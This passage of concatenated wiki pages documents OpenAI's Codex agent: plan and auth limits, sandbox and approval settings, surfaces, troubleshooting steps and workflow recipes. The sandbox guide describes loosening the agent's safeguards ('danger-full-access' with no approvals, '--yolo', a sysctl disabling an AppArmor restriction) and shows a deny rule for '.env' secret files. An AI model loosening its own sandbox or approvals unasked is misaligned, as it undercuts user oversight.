| Enterprise/Edu | contact sales | SCIM, EKM, RBAC, Compliance API audit logs, residency; flexible pricing = no fixed rate limits, scales with credits |

### Local message limits per 5h window (shared with cloud tasks; weekly caps may also apply)

| Model | Plus / Business | Pro 5x | Pro 20x |
|---|---|---|---|
| GPT-5.5 | 15–80 | 80–400 | 300–1600 |
| GPT-5.4 | 20–100 | 100–500 | 400–2000 |
| GPT-5.4-mini | 60–350 | 300–1750 | 1200–7000 |

### Credits rate card (credits per 1M tokens: input / cached input / output)

- GPT-5.5: 125 / 12.50 / 750
- GPT-5.4: 62.50 / 6.250 / 375
- GPT-5.4-mini: 18.75 / 1.875 / 113

Multipliers: fast/speed configurations and image generation (~3–5x faster drain) consume limits faster; Spark has a separate demand-adjusted limit.

## Analysis

- **The API-key trap for low-tier orgs:** Tier-1 API orgs are capped at 30,000 TPM for GPT-5-class models; a single Codex request with repo context can exceed that — verbatim failure: `Request too large for gpt-5 in organization org-... on tokens per min (TPM): Limit 30000, Requested 30237` (issue #2629). Practically, API-key Codex needs a Tier 3–4 org. See [[summaries/casebook-auth-limits]] Case 8.
- **Subscription is usually cheaper for interactive work** (flat rate, cached-input discounts handled for you); API key wins for **shared/automated environments** — the pricing page tags it "Great for automation in shared environments like CI", and the auth doc states "API keys are still the recommended default for automation."
- **Codex access tokens (v2 personal access tokens, CLI ≥0.138.0)** cover the gap: ChatGPT-plan auth for trusted scripts/schedulers/private CI without a browser (`printenv CODEX_ACCESS_TOKEN | codex login --with-access-token`); for general API calls keep using Platform API keys.
- **Headless/remote ChatGPT sign-in is solved:** prefer `codex login --device-auth` (beta; enable in ChatGPT security settings), else copy `~/.codex/auth.json` over SSH/Docker, else forward `localhost:1455`. Treat `auth.json` like a password; `cli_auth_credentials_store = "keyring"` moves credentials to the OS store.
- **When you hit plan limits:** check `/status` or https://chatgpt.com/codex/settings/usage; buy credits (Plus/Pro), switch to a smaller model (GPT-5.4-mini stretches 3–4x), or run overflow tasks on an API key at standard rates. Sudden anomalous drain is historically a bug, not a policy change ([[summaries/casebook-auth-limits]] Cases 6–7).
- **Enterprise enforcement:** `forced_login_method = "chatgpt"` (or `"api"`) and `forced_chatgpt_workspace_id = "..."` log out non-conforming users; deployed via managed configuration ([[concepts/enterprise-admin]]).
- MFA is required for Codex cloud if you use email+password login (even as one of several methods); social-login and SSO users should enforce MFA at the provider.

## Recommendations

- **Individual daily driver** → ChatGPT plan: Plus if a few sessions/week; Pro (5x/20x) for daily heavy use or Spark access.
- **Team** → Business (seats + admin + bigger cloud VMs); Enterprise for SCIM/RBAC/residency/audit or flexible no-fixed-limit pricing.
- **CI / shared automation** → API key (Tier 3+ org), or a Codex access token when you need plan entitlements in trusted runners; see [[concepts/non-interactive-exec]].
- **Cloud tasks, GitHub code review, Slack** in scope → ChatGPT sign-in is mandatory; API key is disqualified.
- **Hybrid** is explicitly supported: stay on subscription for interactive work, overflow to API key when limits bite.

## Pages Compared

- [[concepts/authentication]]
- [[entities/codex-models]]
- [[entities/codex-cli]]
- [[concepts/cloud-tasks]]
- [[concepts/enterprise-admin]]
- [[summaries/casebook-auth-limits]]



<!-- ===== codex/wiki/syntheses/sandbox-approval-guide.md ===== -->

---
title: "Sandbox Modes × Approval Policies: Recommended Combos by Risk Profile"
type: synthesis
tags: [sandboxing, approvals, config-toml, security, decision-guide]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-sandbox.md", "raw/llms_txt_doc-permissions.md", "raw/llms_txt_doc-automations.md", "raw/github_issue-bwrap-approval-prompt-shown-for-almost-every-command.md", "raw/github_issue-unusable-on-windows-due-to-permission-ask-for-every-shell-co.md", "raw/github_issue-python-uv-fails-in-codex.md", "raw/github_release-0-139-0.md"]
---

# Sandbox Modes × Approval Policies: Recommended Combos by Risk Profile

Two independent knobs: **sandbox mode** (technical boundary — what commands *can* do) and **approval policy** (when Codex stops and asks before crossing it). A third knob, `approvals_reviewer`, decides *who* answers eligible prompts (`user` or `auto_review`).

## Comparison

Sandbox modes (verbatim `config.toml` values):

| `sandbox_mode` | Behavior |
|---|---|
| `"read-only"` | Inspect files only; every edit/command needs approval |
| `"workspace-write"` | Read everywhere allowed, write inside workspace, run routine local commands; default low-friction local mode |
| `"danger-full-access"` | No sandbox restrictions (filesystem + network) |

Approval policies:

| `approval_policy` | Behavior |
|---|---|
| `"untrusted"` | Ask before any command not in the trusted set |
| `"on-request"` | Work inside the sandbox freely; ask only to go beyond it |
| `"never"` | Never stop for approval prompts |

Recommended combos by risk profile:

| Risk profile | config.toml (verbatim) | Notes |
|---|---|---|
| **Cautious / new to agents / untrusted repo** | `sandbox_mode = "read-only"` + `approval_policy = "untrusted"` | Default-tight posture the docs recommend until "the need is clear" |
| **Standard local dev (documented "lower-risk local automation preset")** | `sandbox_mode = "workspace-write"` + `approval_policy = "on-request"` | CLI flags: `--sandbox workspace-write --ask-for-approval on-request` |
| **Hands-off but reviewed** | Above + `approvals_reviewer = "auto_review"` | A reviewer agent answers eligible escalations; does NOT change the sandbox boundary |
| **Unattended automations** | `workspace-write`, automations use `approval_policy = "never"` when org policy allows | Read-only automations fail on any write; full-access automations are flagged "elevated risk" |
| **Full access (explicitly defined)** | `sandbox_mode = "danger-full-access"` + `approval_policy = "never"` | Only for disposable/containerized environments |

## Analysis

- **Multi-directory work:** extend, don't disable. Verbatim pattern (and the documented fix for uv/pyenv cache failures — see [[summaries/casebook-runtime]] Case D5):
  ```toml
  [sandbox_workspace_write]
  writable_roots = ["~/.cache/uv", "~/.cache/pre-commit"]
  ```
  Caveat from issue #1457: paths containing `.git` directories are implicitly read-only, so some cache layouts stay blocked; setting the tool's own cache env var (e.g. `UV_CACHE_DIR`) inside the repo is the reliable alternative.
- **Command-level exceptions:** use rules to allow/prompt/forbid command prefixes outside the sandbox rather than broadening the whole boundary.
- **Permission profiles (beta, ≥0.138.0) are the successor system** and **do not compose** with the older settings: configure either `default_permissions` + `[permissions]` *or* `sandbox_mode`/`[sandbox_workspace_write]` — if `sandbox_mode` appears anywhere (config, `--sandbox`, profile), the older settings win. Built-ins: `:read-only`, `:workspace`, `:danger-full-access`. Since 0.139.0 the CLI has a `-P` profile alias ([[summaries/release-digest]]). Example with network policy:
  ```toml
  default_permissions = "project-edit"

  [permissions.project-edit]
  extends = ":workspace"

  [permissions.project-edit.filesystem.":workspace_roots"]
  "**/*.env" = "deny"

  [permissions.project-edit.network]
  enabled = true

  [permissions.project-edit.network.domains]
  "api.openai.com" = "allow"
  ```
  Precedence: `deny` > `write` > `read`; more specific paths override broader ones.
- **Platform reality check (the casebook layer):**
  - macOS: Seatbelt, works out of the box.
  - Linux/WSL2: requires `bubblewrap` (`sudo apt install bubblewrap`). On Ubuntu 24.04, AppArmor blocks unprivileged user namespaces; when `bwrap` fails (`bwrap: loopback: Failed RTM_NEWADDR: Operation not permitted`), Codex **silently falls back to read-only**, which presents as approval-prompt spam (issue #14936). Fix by loading `/etc/apparmor.d/bwrap-userns-restrict` (`sudo apparmor_parser -r ...`); last resort `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`.
  - Windows: native Windows sandbox under PowerShell, Linux sandbox under WSL2; pre-sandbox versions required `--yolo` to be usable (issue #2860, historical).
- **Approval spam is therefore a diagnostic signal:** if a `workspace-write` session prompts for `ls`/`find`, suspect a broken sandbox backend before blaming the policy ([[syntheses/troubleshooting-checklist]]).
- 0.139.0 fixed sandbox escalation decisions not being preserved and proxy-only networking enforcement (#24981, #27035) — update before debugging those behaviors.

## Recommendations

- Start with defaults (`workspace-write` + `on-request`); loosen per-repo only after you understand the workflow ([[summaries/best-practices-prompting]]).
- Never pair `danger-full-access` with `never` outside a container/VM; for automations prefer `workspace-write` + rules for the specific commands needing network.
- On Ubuntu 24.04, set up the bwrap AppArmor profile *before* first use; it pre-empts the most-reported Linux failure mode.
- Migrating to permission profiles? Remove `sandbox_mode` and `[sandbox_workspace_write]` first, and keep everyone on ≥0.138.0.
- Admins: enforce via managed `requirements.toml` (e.g. disallow `approval_policy = "never"`, constrain `allowed_sandbox_modes`, `allowed_permission_profiles`) — see [[concepts/enterprise-admin]].

## Pages Compared

- [[concepts/sandboxing-approvals]]
- [[concepts/configuration]]
- [[concepts/automations]]
- [[concepts/enterprise-admin]]
- [[summaries/casebook-runtime]]
- [[summaries/release-digest]]



<!-- ===== codex/wiki/syntheses/surface-picker.md ===== -->

---
title: "Surface Picker: App vs CLI vs IDE Extension vs Web vs Cloud Tasks"
type: synthesis
tags: [decision-guide, codex-app, codex-cli, ide-extension, codex-web, cloud-tasks]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-codex.md", "raw/llms_txt_doc-codex-app.md", "raw/llms_txt_doc-codex-cli.md", "raw/llms_txt_doc-codex-ide-extension.md", "raw/llms_txt_doc-codex-web.md", "raw/llms_txt_doc-workflows.md", "raw/llms_txt_doc-prompting.md"]
---

# Surface Picker: App vs CLI vs IDE Extension vs Web vs Cloud Tasks

All surfaces run the same underlying Codex agent and share configuration (`config.toml`, `AGENTS.md`, skills), so this is a question of workflow fit, not capability tiers. Local surfaces (app, CLI, IDE) run sandboxed threads on your machine; web/cloud run in isolated cloud environments cloned from GitHub.

## Comparison

| Surface | What it is | Platforms | Auth | Distinctive strengths |
|---|---|---|---|---|
| **Codex app** ([[entities/codex-app]]) | Desktop app for parallel threads | macOS, Windows (Linux waitlist) | ChatGPT or API key | Built-in worktrees + Handoff, automations, review pane + Git ops, integrated terminal, in-app browser, computer use (macOS), Appshots, image generation, IDE-extension sync |
| **Codex CLI** ([[entities/codex-cli]]) | Open-source Rust terminal agent | macOS, Windows (native PowerShell sandbox or WSL2), Linux | ChatGPT or API key | Scriptable `codex exec` ([[concepts/non-interactive-exec]]), full slash-command set, `-c` config overrides, subagents, transcript-friendly, launches cloud tasks from terminal |
| **IDE extension** ([[entities/codex-ide-extension]]) | VS Code (+Cursor/Windsurf forks) and JetBrains integration | macOS, Windows, Linux | ChatGPT, API key, or JetBrains AI subscription | Auto-includes open files and selections as context; Chat/Agent/Agent (Full Access) modes; cloud delegation + apply diffs locally |
| **Codex web** ([[entities/codex-web]]) | chatgpt.com/codex, cloud-only | Browser, iOS | ChatGPT only | Background/parallel tasks in cloud environments; PRs from results; no local machine needed |
| **Cloud tasks** ([[concepts/cloud-tasks]]) | Cloud execution reachable from web, IDE, CLI, GitHub | n/a | ChatGPT only | Isolated environment per task, repo cloned from GitHub, parallel fan-out, `@codex` on issues/PRs |

## Analysis

- **Context acquisition differs most.** The IDE extension automatically includes open files and selected text; in the CLI you must `@`-mention or `/mention` files; web tasks only see what's in the GitHub repo and environment setup. This is the documented reason the same prompt performs differently across surfaces.
- **Cloud requires GitHub + ChatGPT sign-in.** Codex web setup is "connect your GitHub account"; cloud threads clone the repo, so uncommitted local work doesn't exist there unless you delegate from IDE/CLI, which carries over thread context and local working state ("delegate tasks from your local machine").
- **The app is the orchestration layer.** Worktrees, Handoff (move a thread Local ↔ Worktree), automations, and Triage inbox exist only in the app — it's positioned for running many threads in parallel without file conflicts.
- **The CLI is the automation/composition layer.** Only the CLI offers `codex exec` for scripting and CI ([[concepts/non-interactive-exec]]), making it the surface for pipelines, pre-commit hooks, and the [[entities/codex-sdk]].
- **Versions can drift between surfaces.** The app bundles its own CLI build; a feature may land in the standalone CLI first. Compare `codex --version` against `/Applications/Codex.app/Contents/Resources/codex --version` when behavior differs.
- **API-key users lose the cloud column entirely.** No cloud tasks, GitHub code review, or Slack integration with API-key auth — see [[syntheses/auth-plan-picker]].

## Recommendations

Pick by use case:

- **Interactive feature work in a codebase you have open** → IDE extension (free context from open files; selection-scoped tests/refactors).
- **Tight terminal loop: repro a bug, run commands, keep a transcript** → CLI.
- **Scripting, CI, batch jobs, building products on Codex** → CLI `codex exec` / SDK.
- **Many parallel workstreams, scheduled background jobs, reviewing+shipping from one window** → Codex app (worktrees + automations + review pane).
- **Long tasks you want off your machine, work from any device, PR-shaped output** → Codex web / cloud tasks.
- **Careful design + bulk implementation** → hybrid: plan locally in IDE/CLI, then delegate milestones to cloud (documented "Delegate refactor to the cloud" recipe in [[syntheses/workflow-recipes]]).
- **Repo triage without leaving GitHub** → `@codex` on issues/PRs via [[entities/github-integrations]].
- **On Windows with heavy shell usage** → CLI native PowerShell with the Windows sandbox, or WSL2 for Linux-native tooling; see [[syntheses/sandbox-approval-guide]].

## Pages Compared

- [[entities/codex-app]]
- [[entities/codex-cli]]
- [[entities/codex-ide-extension]]
- [[entities/codex-web]]
- [[concepts/cloud-tasks]]
- [[concepts/non-interactive-exec]]
- [[syntheses/auth-plan-picker]]
- [[syntheses/workflow-recipes]]



<!-- ===== codex/wiki/syntheses/troubleshooting-checklist.md ===== -->

---
title: "Troubleshooting Checklist: Ordered Diagnosis for Codex Failures"
type: synthesis
tags: [troubleshooting, checklist, diagnostics, decision-guide]
created: 2026-06-10
updated: 2026-06-10
confidence: medium
sources: ["raw/llms_txt_doc-troubleshooting.md", "raw/llms_txt_doc-sandbox.md", "raw/github_issue-the-codex-cli-giving-401-unauthorized.md", "raw/github_issue-stream-disconnected-before-completion.md", "raw/github_issue-error-running-remote-compact-task-stream-disconnected-before.md", "raw/github_issue-all-models-codex-cli-hangs-indefinitely-on-all-prompts-no-re.md", "raw/github_issue-bwrap-approval-prompt-shown-for-almost-every-command.md", "raw/github_issue-gpt-5-3-codex-being-routed-to-gpt-5-2.md", "raw/github_issue-hitting-rate-limits.md", "raw/github_issue-macos-app-stuck-awaiting-approval-prompt-cannot-be-approved.md"]
---

# Troubleshooting Checklist: Ordered Diagnosis for Codex Failures

Synthesized from the official app troubleshooting doc plus the two casebooks ([[summaries/casebook-runtime]], [[summaries/casebook-auth-limits]]). Run the steps in order; each step either fixes the issue or routes you to a casebook case.

## Comparison

Symptom → most likely route:

| Symptom | First suspect | Casebook ref |
|---|---|---|
| `401 Unauthorized` / `{"detail":"Unauthorized"}` | Stale session, custom/Azure endpoint, unsupported region | auth-limits Case 1 |
| "upgrade to Plus" despite paid plan | Server-side entitlement glitch | auth-limits Case 4 |
| `stream disconnected ... exceeds the context window` | Thread too long | runtime A1 |
| `stream disconnected ... Transport error` | VPN/proxy, parallel processes, incident | runtime A2 |
| `Error running remote compact task` | Compaction service | runtime A3 |
| Hang, no output, "100% left" | Forced compaction stall / incident | runtime B1–B2 |
| Approval prompt for `ls`/`find` on Linux | Broken bwrap → silent read-only fallback | runtime C1 |
| Approval stuck, can't click Yes (app) | App UI bug → restart | runtime C3 |
| Quota draining abnormally fast | Metering/caching bug, not policy | auth-limits Cases 5–7 |
| `Request too large ... tokens per min (TPM)` | Tier-1 API org | auth-limits Case 8 |
| Wrong model in responses | Server-side routing | runtime D1 |

## Analysis

Three failure classes dominate the casebooks. **Server-side issues masquerading as local bugs** are the largest: model routing, metering/cache bugs, compaction-service errors, and entitlement glitches all present as "Codex is broken" while nothing on the user's machine is at fault — most rows of the symptom table route here, and the fix is evidence-gathering plus waiting or `/feedback`, not config surgery. **Environment plumbing** is second: broken sandbox backends (bwrap/AppArmor), VPN/TLS proxies, and headless auth produce approval spam, transport errors, and 401s that look like product bugs but are user-fixable in minutes once recognized. **Context exhaustion** is third and the only purely usage-driven class — long threads hit the window and stall or disconnect. The symptom→cause mapping reveals the key triage insight: error text is a poor classifier ("stream disconnected" alone spans three distinct causes), while cheap state checks — version, pending approval, context size — separate the classes reliably, which is why the ordered sequence below front-loads them.

## Analysis — the ordered sequence

1. **Pin the version.** `codex --version`; for the app's bundled agent: `/Applications/Codex.app/Contents/Resources/codex --version` (app and CLI can differ — a feature/bug may exist in only one). Compare against the latest in [[summaries/release-digest]]; update first — fixes ship daily. If the problem appeared right after an update, try downgrading one minor version to confirm a regression.
2. **Check for an approval wait, not a hang.** Official stuck-state guidance: check whether Codex is waiting for an approval; open the terminal and run `git status`; if truly stuck in the app, close/reopen the terminal panel (Cmd+J) and finally restart the app after active threads complete (also the only fix for the stuck-approval bug, runtime C3).
3. **Check session size.** If errors mention the context window or the thread is old/huge: `/compact`; if `/compact` fails, `codex fork`/new thread. Proactively compact before context drops under ~20% (runtime B1). Verbatim escape hatch for failing remote compaction: `codex resume <session-id> --disable enable_request_compression --no-alt-screen`.
4. **Check auth.** Log out/in; inspect `config.toml` for custom `base_url`/model providers (Azure 401s masquerade as Codex bugs — auth-limits Case 1); on Windows after old versions, delete `%USERPROFILE%\.codex\auth.json` for a clean flow; headless → `codex login --device-auth`. Corporate TLS proxy → set `CODEX_CA_CERTIFICATE`.
5. **Check the sandbox backend (Linux/WSL).** If you see approval spam or `bwrap: loopback: Failed RTM_NEWADDR: Operation not permitted`: install `bubblewrap`, load the `bwrap-userns-restrict` AppArmor profile (`sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict`); verify your intended mode per [[syntheses/sandbox-approval-guide]] (0.139.0+ shows effective sandbox modes in `/debug-config`).
6. **Check the network path.** Disable VPN/proxies; reduce concurrent Codex processes; if many users report the same transport error the same hour, treat it as a service incident and wait (runtime A2, B2, D4).
7. **Check limits and metering.** `/status` in-session; https://chatgpt.com/codex/settings/usage for the dashboard. Sudden drain ≠ limit cut: precedent is the Nov-2025 cache-miss bug (confirmed, fixed, usage reset — auth-limits Case 6). API key + small org → TPM wall, switch to ChatGPT sign-in or upgrade tier.
8. **Check model routing if output quality cratered.** Use the `RUST_LOG='codex_api::sse::responses=trace'` one-liner from runtime D1 to confirm which model actually answers.
9. **Worktree/app-specific oddities.** Unexpected files in the review panel = your repo's Git state, not Codex edits (switch diff pane to "Last turn changes"); code not running on a worktree = missing deps → local-environment setup script; missing threads → sidebar filter → Chronological, or archived sections ([[syntheses/workflow-recipes]]).
10. **Collect evidence and escalate.** `/feedback` uploads logs + session and returns a thread ID; quote it in a GitHub issue. Log locations: app logs (macOS) `~/Library/Logs/com.openai.codex/YYYY/MM/DD`; session transcripts `$CODEX_HOME/sessions` (default `~/.codex/sessions`); login issues `codex-login.log`; deeper traces via `RUST_LOG=codex_core=debug,codex_tui=debug`. Review logs for secrets before sharing.

## Recommendations

- Memorize the triage shortcut: **version → approval wait → context size → auth → sandbox → network → limits**. The first three resolve the majority of reported "Codex is broken" cases without filing anything.
- Prefer `/feedback` + thread ID over screenshots; it's what maintainers act on across every triaged issue in the casebooks.
- Keep one eye on [[summaries/release-digest]]: with a near-daily release cadence, "update and retry" is a legitimate first-line fix, and "downgrade one version" a legitimate mitigation.

## Pages Compared

- [[summaries/casebook-runtime]]
- [[summaries/casebook-auth-limits]]
- [[summaries/release-digest]]
- [[syntheses/sandbox-approval-guide]]
- [[syntheses/auth-plan-picker]]
- [[concepts/sandboxing-approvals]]
- [[concepts/configuration]]



<!-- ===== codex/wiki/syntheses/workflow-recipes.md ===== -->

---
title: "Workflow Recipes: Worktrees, AGENTS.md Layering, Automations, Cloud Handoffs"
type: synthesis
tags: [workflows, worktrees, agents-md, automations, cloud-tasks, recipes]
created: 2026-06-10
updated: 2026-06-11
confidence: high
sources: ["raw/llms_txt_doc-workflows.md", "raw/llms_txt_doc-worktrees.md", "raw/llms_txt_doc-automations.md", "raw/llms_txt_doc-custom-instructions-with-agents-md.md", "raw/llms_txt_doc-best-practices.md", "raw/field-notes-windows-app-2026-06-11.md"]
---

# Workflow Recipes: Worktrees, AGENTS.md Layering, Automations, Cloud Handoffs

Proven working patterns assembled from the official workflows, worktrees, automations, and AGENTS.md docs. Surface choice for each recipe: [[syntheses/surface-picker]]. Prompt fundamentals: [[summaries/best-practices-prompting]].

## Comparison

| Recipe | Mechanism | Use when | Key constraint |
|---|---|---|---|
| Parallel work via worktrees | Codex app creates Git worktrees in `$CODEX_HOME/worktrees`, detached HEAD | Multiple live threads touching the same repo | Git repos only; deps not installed by default |
| Handoff Local ↔ Worktree | App moves thread *and* code between checkouts | Inspect in your IDE / free up foreground | `.gitignore`d files don't move |
| AGENTS.md layering | Global → repo root → nested; `AGENTS.override.md` wins per directory | Durable conventions, per-team overrides | 32 KiB combined cap (`project_doc_max_bytes`) |
| Standalone/project automations | Scheduled fresh runs, findings in Triage inbox | Independent recurring checks across projects | Machine on + app running + project on disk |
| Thread automations | Heartbeat wake-ups on the same thread | Polling a long task, PR babysitting | Prompt must be durable (what to check, when to stop) |
| Cloud handoff | Cloud icon in IDE/CLI composer; thread context + local changes carry over | Long implementation after local planning | Needs cloud environment + GitHub |

## Analysis

### Recipe 1 — Parallel tasks with worktrees (Codex app)

1. New thread → select **Worktree** under the composer (optionally pick a local environment for setup scripts).
2. Choose the base branch. Uncommitted local changes are applied to the worktree **only when the base branch is your current branch holding them** — any other branch yields its last commit, clean (field-verified 2026-06-11).
3. Submit; Codex creates a detached-HEAD worktree.
4. Finish either way: **Create branch here** (names the branch only — commit the work onto it before pushing) → push/PR from the worktree, or **Hand off** → Local to test in your usual setup. **Caveat:** the Hand off control has been missing from worktree threads (#14141; Windows merge-back also broken when present, #15314) — manual exits in [[summaries/casebook-runtime]] E1–E2: `git merge <branch>` from Local works even while the branch is checked out in the worktree, or `git switch --detach` there then `git switch <branch>` locally.

Gotchas (verbatim where it matters): a branch checked out in one worktree can't be checked out elsewhere — `fatal: 'feature/a' is already used by worktree at '<WORKTREE_PATH>'`; use Handoff instead of checking the branch out twice. Codex keeps the most recent **15** managed worktrees (configurable); pinned/in-progress/permanent ones survive; a snapshot is saved before deletion. "Code doesn't run on a worktree" is usually missing dependencies → run a local-environment setup script. Best-practices tie-in: "Running live threads on the same files without using git worktrees" is a listed common mistake.

### Recipe 2 — AGENTS.md layering that actually wins

Discovery order: `~/.codex/AGENTS.override.md` else `~/.codex/AGENTS.md` (global, one file) → project root down to cwd, one file per directory (`AGENTS.override.md` > `AGENTS.md` > `project_doc_fallback_filenames`), concatenated root-down so **closer files override** because they appear later in the prompt. Verbatim config to adopt existing conventions:

```toml
# ~/.codex/config.toml
project_doc_fallback_filenames = ["TEAM_GUIDE.md", ".agents.md"]
project_doc_max_bytes = 65536
```

Verify with `codex --ask-for-approval never "Summarize the current instructions."` and audit via `codex -c log_dir=./.codex-log` → `codex-tui.log`. Pattern: short repo-root `AGENTS.md` (layout, build/test/lint, conventions, definition of done — scaffold with `/init`), nested overrides only where teams genuinely differ (e.g. `services/payments/AGENTS.override.md` with `make test-payments`). When Codex repeats a mistake, ask for a retrospective and fold it into the file. Details: [[concepts/agents-md]].

### Recipe 3 — Automations (skills define the method, automations define the schedule)

- Test the prompt manually in a normal thread first; review the first scheduled runs.
- For Git repos choose worktree-mode to isolate from unfinished local work; archive old runs (frequent automations accumulate worktrees).
- Automations run unattended with your default sandbox settings and use `approval_policy = "never"` when org policy allows — pick `workspace-write`, never full access ([[syntheses/sandbox-approval-guide]]).
- Invoke skills inline with `$skill-name`. Documented examples: a daily exec briefing of the last 24h of commits; a `$recent-code-bugfix` skill + automation that finds and fixes bugs in your own last-24h commits; an automation that scans `~/.codex/sessions` and improves your skills.
- Thread automations for stay-in-context loops (deploy watching, PR babysitting via GitHub plugin); standalone for independent runs that report to Triage. See [[concepts/automations]] and [[concepts/skills-plugins]].

### Recipe 4 — Plan locally, implement in the cloud

1. Commit/stash so diffs stay clean; ask Codex (optionally `$plan` skill) for a milestone plan with constraints ("no user-visible behavior changes", rollback strategy).
2. Negotiate the plan (exact files per milestone).
3. Click the cloud icon beneath the composer, pick a [[concepts/cloud-tasks]] environment; the new cloud thread **carries over thread context and local source changes**.
4. Prompt: `Implement Milestone 1 from the plan.` Review the cloud diff; PR from cloud or pull locally to finish; iterate per milestone.

### Recipe 5 — Verification loops (cross-cutting)

Always give Codex a repro recipe and a "done when"; have it re-run the repro after the fix and run the smallest relevant test suite; `/review` (base branch, uncommitted, commit, or custom focus) before pushing; `@codex review` on the GitHub PR for a second pass.

## Recommendations

- Same repo, multiple concurrent tasks → worktrees (app); single task you'll inspect closely → Local + Handoff later.
- Conventions repeated in prompts → AGENTS.md (Recipe 2); workflow repeated across sessions → skill; skill stable → automation (Recipe 3). This is the documented escalation ladder.
- Long implementation after careful design → cloud handoff (Recipe 4); keep planning local where Codex can scan entrypoints and module boundaries.
- Worktree threads that need builds → configure a local environment setup script once, not per-thread.

## Pages Compared

- [[concepts/agents-md]]
- [[concepts/automations]]
- [[concepts/cloud-tasks]]
- [[concepts/skills-plugins]]
- [[entities/codex-app]]
- [[syntheses/surface-picker]]
- [[summaries/best-practices-prompting]]